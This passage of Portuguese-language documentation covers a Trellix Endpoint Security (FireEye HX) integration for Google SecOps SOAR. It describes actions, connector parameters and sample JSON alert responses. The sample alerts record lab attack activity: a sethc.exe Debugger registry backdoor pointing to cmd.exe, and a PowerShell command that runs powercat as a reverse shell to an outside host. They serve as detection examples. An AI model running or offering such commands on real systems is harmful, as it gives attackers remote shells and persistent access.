                        "hostname": "HW-HOST-FY01",
                        "primary_ip_address": "172.30.202.152"
                    }
                }
            },
            {
                "_id": "e9f4d7baaa362d9d5d0b6e053ba0d44d",
                "assessment": "[Registry key event] EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                "file_full_path": "",
                "first_event_at": "2020-12-10T08:04:09.521Z",
                "last_event_at": "2020-12-10T09:26:14.114Z",
                "dispositions": [],
                "source": "IOC",
                "has_fp_disposition": false,
                "last_alert": {
                    "_id": 723,
                    "agent": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "containment_state": "normal"
                    },
                    "condition": {
                        "_id": "2npvcLf_arxPaH717hQZ9g==",
                        "url": "/hx/api/v3/conditions/2npvcLf_arxPaH717hQZ9g=="
                    },
                    "event_at": "2020-12-10T09:26:14.114+00:00",
                    "matched_at": "2020-12-10T09:26:56+00:00",
                    "reported_at": "2020-12-10T09:27:08.735+00:00",
                    "source": "IOC",
                    "resolution": "ALERT",
                    "decorators": [],
                    "md5values": [],
                    "decorator_sources": [],
                    "decorator_statuses": [],
                    "url": "/hx/api/v3/alerts/723",
                    "event_id": 880771,
                    "event_type": "regKeyEvent",
                    "event_values": {
                        "regKeyEvent/timestamp": "2020-12-10T09:26:14.114Z",
                        "regKeyEvent/hive": "HKEY_LOCAL_MACHINE\\SOFTWARE",
                        "regKeyEvent/keyPath": "Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe",
                        "regKeyEvent/path": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\\Debugger",
                        "regKeyEvent/eventType": 1,
                        "regKeyEvent/pid": 8740,
                        "regKeyEvent/process": "reg.exe",
                        "regKeyEvent/processPath": "C:\\Windows\\System32",
                        "regKeyEvent/valueName": "Debugger",
                        "regKeyEvent/valueType": "REG_SZ",
                        "regKeyEvent/value": "QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGMAbQBkAC4AZQB4AGUAAAA=",
                        "regKeyEvent/text": "C:\\Windows\\System32\\cmd.exe",
                        "regKeyEvent/username": "FIREEYE-LAB\\Administrator"
                    },
                    "is_false_positive": false
                },
                "generic_alert_badge": null,
                "generic_alert_label": null,
                "stats": {
                    "events": 2
                },
                "url": "/hx/api/v3/alert_groups/e9f4d7baaa362d9d5d0b6e053ba0d44d",
                "created_at": "2020-12-10T08:04:54.740Z",
                "acknowledgement": {
                    "acknowledged": true,
                    "acknowledged_by": "test2",
                    "acknowledged_time": "2020-12-22T19:00:25.688Z",
                    "comment": "test comment",
                    "comment_update_time": "2020-12-22T19:00:25.688Z"
                },
                "grouped_by": {
                    "condition_id": "2npvcLf_arxPaH717hQZ9g==",
                    "detected_by": "ioc_engine",
                    "host": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "primary_ip_address": "172.30.202.152"
                    }
                }
            }
        ]
    },
    "message": "OK",
    "details": [],
    "route": "/hx/api/v3/alert_groups"
}

Painel de casos

Tipo de resultado	Valor/descrição	Tipo
Mensagem de saída*	A ação não pode falhar nem interromper a execução de um playbook: se for bem-sucedida:se (total) for igual a (número de IDs de grupo de alertas) - "O status de confirmação de todos os grupos de alertas foi atualizado" Se alguns forem bem-sucedidos e outros não (o número de IDs fornecidos é maior que o total): "Alertas buscados com sucesso para os seguintes IDs de grupo de alerta: {succesfull_alert_groups_ids}" "Não foi possível buscar alertas para os seguintes IDs de grupo de alerta: {not_succesfull_slert_group_ids}" Se nenhum detalhe do grupo de alertas foi buscado: "Não foi possível buscar alertas para nenhum ID de grupo de alertas fornecido. Verifique os IDs fornecidos e tente de novo" A ação deve falhar e interromper a execução de um playbook: se não for bem-sucedida: "Falha ao executar a ação "Receber alertas no grupo de alertas" (exception.stacktrace)	Geral

Tipo de resultado

Valor/descrição

Tipo

Mensagem de saída*

A ação não pode falhar nem interromper a execução de um playbook:
se for bem-sucedida:se (total) for igual a (número de IDs de grupo de alertas) -

"O status de confirmação de todos os grupos de alertas foi atualizado"

Se alguns forem bem-sucedidos e outros não (o número de IDs fornecidos é maior que o total): "Alertas buscados com sucesso para os seguintes IDs de grupo de alerta: {succesfull_alert_groups_ids}"
"Não foi possível buscar alertas para os seguintes IDs de grupo de alerta: {not_succesfull_slert_group_ids}"

Se nenhum detalhe do grupo de alertas foi buscado:

"Não foi possível buscar alertas para nenhum ID de grupo de alertas fornecido. Verifique os IDs fornecidos e tente de novo"

A ação deve falhar e interromper a execução de um playbook:
se não for bem-sucedida: "Falha ao executar a ação "Receber alertas no grupo de alertas" (exception.stacktrace)

Geral

Receber grupos de alertas de host

Descrição

Liste grupos de alertas relacionados a um host no Trellix Endpoint Security. Entidades compatíveis: nome de host e endereço IP.

Parâmetros

Nome de exibição do parâmetro	Tipo	Valor padrão	É obrigatório	Descrição
Filtro de confirmação	DDL	TODOS Somente confirmados Somente não confirmados	Não	Especifique se você quer retornar todos os grupos de alertas ou apenas os confirmados/não confirmados.
Máximo de grupos de alertas a serem retornados	Número inteiro	20	Não	Especifique quantos grupos de alertas retornar por entidade. Padrão: 20.

Nome de exibição do parâmetro

Tipo

Valor padrão

É obrigatório

Descrição

Filtro de confirmação

DDL

TODOS

Somente confirmados

Somente não confirmados

Não

Especifique se você quer retornar todos os grupos de alertas ou apenas os confirmados/não confirmados.

Máximo de grupos de alertas a serem retornados

Número inteiro

Não

Especifique quantos grupos de alertas retornar por entidade. Padrão: 20.

Executar em

Essa ação é executada nas seguintes entidades:

Endereço IP
Nome do host

Resultados da ação

Resultado do script

Nome do resultado do script	Opções de valor	Exemplo
is_success	Verdadeiro/Falso	is_success:False

Resultado do JSON

{
    "_id": "6d9a68f2a78f8d983bd3c0f4556785e6",
    "assessment": "[Heur.BZC.ONG.Cheetah.3.1C89233F]",
    "file_full_path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
    "first_event_at": "2021-07-01T09:44:18.809Z",
    "last_event_at": "2021-07-01T09:44:18.809Z",
    "dispositions": [],
    "source": "MAL",
    "has_fp_disposition": false,
    "last_alert": {
        "_id": 812,
        "agent": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "containment_state": "normal"
        },
        "event_at": "2021-07-01T09:44:18.809+00:00",
        "matched_at": "2021-07-01T09:44:18.809+00:00",
        "reported_at": "2021-07-01T09:44:20.353+00:00",
        "source": "MAL",
        "resolution": "QUARANTINED",
        "decorators": [],
        "md5values": [
            "36be03ea88f7d1effcafeeb65e0e1e57"
        ],
        "decorator_sources": [],
        "decorator_statuses": [],
        "url": "/hx/api/v3/alerts/812",
        "condition": null,
        "event_id": null,
        "event_type": null,
        "event_values": {
            "system-data": {
                "xmlns": "http://www.fireeye.com/antimalware-alert",
                "xmlns:xsi": "http://www.w3.org/2001/XMLSchema-instance",
                "xsi:schemaLocation": "http://www.fireeye.com/antimalware-alert AM-alert.xsd",
                "alert-version": "3",
                "correlation-id": "d01e8ea6-4d34-4005-8482-3ccc026e11ea",
                "timestamp": "2021-07-01T09:44:18.809Z",
                "product-version": "32.36.0",
                "engine-version": "11.0.1.19",
                "content-version": "7.86346",
                "mg-engine-version": "32.30.0.8460",
                "mg-content-version": "25",
                "whitelist-schema-version": "1.0.0",
                "whitelist-content-version": "1.32.1"
            },
            "os-details": {
                "$": {
                    "name": "windows",
                    "version": "10.0.14393",
                    "patch": "0",
                    "os-arch": "64-bit",
                    "os-language": "en-US"
                }
            },
            "scan-type": "oas",
            "scanned-object": {
                "scanned-object-type": "file-event",
                "file-event": {
                    "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
                    "actor-process": {
                        "pid": "1268",
                        "path": "C:\\Windows\\System32\\xcopy.exe",
                        "user": {
                            "username": "",
                            "domain": ""
                        }
                    },
                    "sub-type": "FILE_OPERATION_CLOSED"
                }
            },
            "detections": {
                "detection": [
                    {
                        "engine": {
                            "engine-type": "av",
                            "engine-version": "11.0.1.19",
                            "content-version": "7.86346"
                        },
                        "infected-object": {
                            "object-type": "file",
                            "file-object": {
                                "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
                                "inner-file-path": "",
                                "original-file-name": "",
                                "container": "false",
                                "packed": "false",
                                "hidden": "false",
                                "system-file": "false",
                                "read-only": "false",
                                "temporary": "false",
                                "md5sum": "36be03ea88f7d1effcafeeb65e0e1e57",
                                "sha1sum": "ce1cdd84732367cbf2be60df57c52760bf2e8fe9",
                                "sha256sum": "3862ddf0a77ef8e7e17c641939a6dc349885c1a08cd64748ec50358adafe0631",
                                "size-in-bytes": "753",
                                "creation-time": "2021-07-01T09:41:47.610Z",
                                "modification-time": "2020-05-29T09:34:17.066Z",
                                "access-time": "2021-07-01T09:41:47.610Z"
                            }
                        },
                        "infection": {
                            "confidence-level": "high",
                            "infection-type": "malware",
                            "infection-name": "Heur.BZC.ONG.Cheetah.3.1C89233F"
                        },
                        "action": {
                            "actioned-object": {
                                "object-type": "file",
                                "file-object": {
                                    "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
                                    "inner-file-path": "",
                                    "original-file-name": "",
                                    "container": "false",
                                    "packed": "false",
                                    "hidden": "false",
                                    "system-file": "false",
                                    "read-only": "false",
                                    "temporary": "false",
                                    "md5sum": "36be03ea88f7d1effcafeeb65e0e1e57",
                                    "sha1sum": "ce1cdd84732367cbf2be60df57c52760bf2e8fe9",
                                    "sha256sum": "3862ddf0a77ef8e7e17c641939a6dc349885c1a08cd64748ec50358adafe0631",
                                    "size-in-bytes": "753",
                                    "creation-time": "2021-07-01T09:41:47.610Z",
                                    "modification-time": "2020-05-29T09:34:17.066Z",
                                    "access-time": "2021-07-01T09:41:47.610Z"
                                }
                            },
                            "requested-action": "clean",
                            "applied-action": "quarantine",
                            "result": "success",
                            "error": "0",
                            "reboot-required": "false"
                        }
                    }
                ]
            },
            "scan-statistics": {
                "total-scan-time-in-ms": "12227"
            }
        },
        "is_false_positive": false
    },
    "generic_alert_badge": null,
    "generic_alert_label": null,
    "stats": {
        "events": 1
    },
    "url": "/hx/api/v3/alert_groups/6d9a68f2a78f8d983bd3c0f4556785e6",
    "created_at": "2021-07-01T09:44:23.726Z",
    "acknowledgement": {
        "acknowledged": false,
        "acknowledged_by": null,
        "acknowledged_time": null,
        "comment": null,
        "comment_update_time": null
    },
    "grouped_by": {
        "md5sum": "36be03ea88f7d1effcafeeb65e0e1e57",
        "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
        "infection-name": "Heur.BZC.ONG.Cheetah.3.1C89233F",
        "detected_by": "malware_file_access_scan",
        "host": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "primary_ip_address": "172.30.202.71"
        }
    }
},
{
    "_id": "0043aa34dea99c23996c2f16291cdb4e",
    "assessment": "[Process powershell.exe started] POWERCAT (UTILITY)",
    "file_full_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
    "first_event_at": "2021-07-01T09:41:50.428Z",
    "last_event_at": "2021-07-01T09:41:50.428Z",
    "dispositions": [],
    "source": "IOC",
    "has_fp_disposition": false,
    "last_alert": {
        "_id": 811,
        "agent": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "containment_state": "normal"
        },
        "condition": {
            "_id": "KBvTAC_L_GiI9BZbph2GoA==",
            "url": "/hx/api/v3/conditions/KBvTAC_L_GiI9BZbph2GoA=="
        },
        "event_at": "2021-07-01T09:41:50.428+00:00",
        "matched_at": "2021-07-01T09:43:29+00:00",
        "reported_at": "2021-07-01T09:44:09.339+00:00",
        "source": "IOC",
        "resolution": "ALERT",
        "decorators": [],
        "md5values": [
            "097ce5761c89434367598b34fe32893b"
        ],
        "decorator_sources": [],
        "decorator_statuses": [],
        "url": "/hx/api/v3/alerts/811",
        "event_id": 11311494,
        "event_type": "processEvent",
        "event_values": {
            "processEvent/timestamp": "2021-07-01T09:41:50.428Z",
            "processEvent/eventType": "start",
            "processEvent/pid": 3676,
            "processEvent/processPath": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
            "processEvent/process": "powershell.exe",
            "processEvent/parentPid": 2496,
            "processEvent/parentProcessPath": "C:\\Windows\\System32\\cmd.exe",
            "processEvent/parentProcess": "cmd.exe",
            "processEvent/username": "FIREEYE-LAB\\Administrator",
            "processEvent/startTime": "2021-07-01T09:41:50.428Z",
            "processEvent/md5": "097ce5761c89434367598b34fe32893b",
            "processEvent/processCmdLine": "powershell  -Exec Bypass \". \\\"C:\\TMP\\nc.ps1\\\";powercat -c www.googleaccountsservices.com -p 80 -t 2 -e cmd\""
        },
        "multiple_match": "Multiple Indicators Matched.",
        "is_false_positive": false
    },
    "generic_alert_badge": null,
    "generic_alert_label": null,
    "stats": {
        "events": 1
    },
    "url": "/hx/api/v3/alert_groups/0043aa34dea99c23996c2f16291cdb4e",
    "created_at": "2021-07-01T09:44:13.744Z",
    "acknowledgement": {
        "acknowledged": false,
        "acknowledged_by": null,
        "acknowledged_time": null,
        "comment": null,
        "comment_update_time": null
    },
    "grouped_by": {
        "condition_id": "KBvTAC_L_GiI9BZbph2GoA==",
        "detected_by": "ioc_engine",
        "host": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "primary_ip_address": "172.30.202.71"
        }
    }

Painel de casos

Tipo de resultado	Valor/descrição	Tipo
Mensagem de saída\*	A ação não pode falhar nem interromper a execução de um playbook: if data is available for one(is_success = true): "Successfully retrieved alert groups for the following entities in Trellix Endpoint Security: {entity.identifier}". Se os dados não estiverem disponíveis para um(is_success = true): "Não foi possível recuperar os grupos de alertas para as seguintes entidades no Trellix Endpoint Security: {entity.identifier}". Se os dados não estiverem disponíveis para todos(is_success=false): "Nenhum grupo de alertas foi encontrado para as entidades fornecidas no Trellix Endpoint Security". A ação precisa falhar e interromper a execução de um playbook: se houver um erro fatal, como credenciais incorretas, sem conexão com o servidor, outro: "Erro ao executar a ação "Get Host Alert Groups". Motivo: {0}''.format(error.Stacktrace)	Geral
Tabela do painel de casos	Colunas: Avaliação ID do grupo de alertas Primeiro evento em Último evento em Reconhecido Contagem de eventos Detectado por	Entidade

Tipo de resultado

Valor/descrição

Tipo

Mensagem de saída\*

A ação não pode falhar nem interromper a execução de um playbook:
if data is available for one(is_success = true): "Successfully retrieved alert groups for the following entities in Trellix Endpoint Security: {entity.identifier}".

Se os dados não estiverem disponíveis para um(is_success = true): "Não foi possível recuperar os grupos de alertas para as seguintes entidades no Trellix Endpoint Security: {entity.identifier}".

Se os dados não estiverem disponíveis para todos(is_success=false): "Nenhum grupo de alertas foi encontrado para as entidades fornecidas no Trellix Endpoint Security".

A ação precisa falhar e interromper a execução de um playbook:
se houver um erro fatal, como credenciais incorretas, sem conexão com o servidor, outro: "Erro ao executar a ação "Get Host Alert Groups". Motivo: {0}''.format(error.Stacktrace)

Geral

Tabela do painel de casos

Colunas:

Avaliação
ID do grupo de alertas
Primeiro evento em
Último evento em
Reconhecido
Contagem de eventos
Detectado por

Entidade

Conectores

Conector de alertas do FireEye HX

Descrição

O conector de alertas do Trellix Endpoint Security do SOAR do Google SecOps ingere alertas gerados no servidor do Trellix Endpoint Security.

O conector se conecta periodicamente ao endpoint do servidor da API Trellix Endpoint Security e extrai uma lista de alertas gerados para um período específico. Se houver novos alertas, o conector vai criar alertas do Google SecOps SOAR com base nos alertas do Trellix Endpoint Security e salvar o carimbo de data/hora do conector como o último horário de alerta ingerido com sucesso. Na próxima execução do conector, ele vai consultar a API Trellix Endpoint Security apenas para alertas criados a partir do carimbo de data/hora (carimbo de data/hora mais algum deslocamento "técnico" para não deixar o conector "preso"). Se não houver novos alertas, encerre a execução atual.

Permissões da API

O conector de alertas do Trellix Endpoint Security usa os mesmos métodos e permissões de autenticação de API da integração do FireEye. Para trabalhar com alertas do FireEye, a conta usada na integração precisa ter a função "Analista de API" ou "Administrador de API".

Configurar o conector de alertas do FireEye HX no Google SecOps

Para instruções detalhadas sobre como configurar um conector no Google SecOps, consulte Configurar o conector.

Parâmetros do conector

Use os seguintes parâmetros para configurar o conector:

Nome de exibição do parâmetro	Tipo	Valor padrão	É obrigatório	Descrição
Nome do campo do produto	String	ProductName	Sim	Descrição definida pela plataforma. O campo é imutável.
Nome do campo do evento	String	AlertName	Sim	Descrição definida pela plataforma. O campo é imutável.
Nome do campo de ambiente	String	""	Não	Descreve o nome do campo em que o nome do ambiente é armazenado. Se o campo de ambiente não for encontrado, o ambiente será "".
Padrão de regex do ambiente	String	.*	Não	Um padrão de regex a ser executado no valor encontrado no campo "Nome do campo de ambiente". O padrão é ".*" para capturar tudo e retornar o valor sem alterações. Usado para permitir que o usuário manipule o campo de ambiente usando a lógica regex. Se o padrão de regex for nulo ou vazio, ou se o valor do ambiente for nulo, o resultado final do ambiente será "".
Tempo limite do script (segundos)	Número inteiro	180	Sim	Limite de tempo limite para o processo Python que executa o script atual.
Raiz da API	String	https://x.x.x.x:<port>	Sim	URL raiz da API do servidor de segurança de endpoint da Trellix
Nome de usuário	String	N/A	Sim	Usuário do Trellix Endpoint Security para autenticação.
Senha	Senha	N/A	Sim	Senha do usuário do Trellix Endpoint Security para autenticação.
Verificar SSL	Caixa de seleção	Selecionado	Sim	Se especificado, o conector vai verificar se o Trellix Endpoint Security está configurado com um certificado SSL válido. Se o certificado não for válido, o conector vai retornar um erro.
Tempo de ajuste em horas	Número inteiro	24	Sim	Buscar alertas das últimas X horas.
Máximo de alertas por ciclo	Número inteiro	25	Sim	Quantos alertas devem ser processados durante uma execução do conector.
Tipo de alerta	String	active_threat	Não	Especifique quais tipos de alertas do Trellix Endpoint Security serão ingeridos. Por padrão, ele é definido como active_threat para retornar alertas no estado ALERT e QUARANTINED/partial_block. Outro parâmetro válido é ALERT, que retorna apenas alertas abertos.
Usar a lista de permissões como uma lista de proibições	Caixa de seleção (checkbox)	Desmarcado	Sim	Se ativada, a lista de permissões será usada como uma lista de bloqueios.
Endereço do servidor proxy	IP_OR_HOST	N/A	Não	Servidor proxy a ser usado para a conexão.
Nome de usuário do servidor proxy	String	N/A	Não	Nome de usuário do servidor proxy.
Senha do servidor proxy	Senha	N/A	Não	Senha do servidor proxy.

Regras de conector

Lista de proibições: as regras de lista de proibições são compatíveis, mas o conector usa a lógica de lista de permissões por padrão.
Regras de lista de permissões: usadas por padrão.
Suporte a proxy: o conector oferece suporte a proxy.
Default ConnectorRules

RuleType(Whitelist \ Blacklist)	RuleName (string)
WhiteList	Especifique nesta seção quais alertas ingerir com base nos atributos de origem e subtipo de alerta. Por exemplo: "IOC" para alertas de indicador, "MAL AV" para ingerir alertas de malware apenas com o subtipo "AV" ou "MAL" para ingerir todos os alertas de malware, independente do subtipo. Para ingerir todos os alertas, remova tudo da seção de lista de permissões.

Precisa de mais ajuda? Receba respostas de membros da comunidade e profissionais do Google SecOps.